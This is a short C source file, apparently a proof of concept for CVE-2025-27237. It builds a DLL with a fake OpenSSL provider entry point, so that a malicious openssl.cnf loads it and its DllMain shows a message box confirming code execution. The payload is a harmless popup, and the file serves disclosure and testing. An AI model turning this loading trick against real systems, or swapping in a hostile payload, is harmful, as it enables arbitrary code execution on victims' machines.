#include // This DLL will show a MessageBox when loaded via OpenSSL provider mechanism // Proof of Concept for CVE-2025-27237 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { MessageBoxA(NULL, "CVE-2025-27237 - Code Execution Confirmed!\n\n" "This DLL was loaded via malicious openssl.cnf\n" "from: C:\\vcpkg\\...\\openssl.cnf\n\n" "In a real attack, this would be malware.", "VULNERABILITY EXPLOITED", MB_OK | MB_ICONWARNING); } return TRUE; } // Fake OpenSSL provider entry point (required for provider loading) __declspec(dllexport) int OSSL_provider_init(void *handle, void *in, void **out, void **provctx) { // Provider init - the DllMain already ran and showed the popup return 1; // Return success }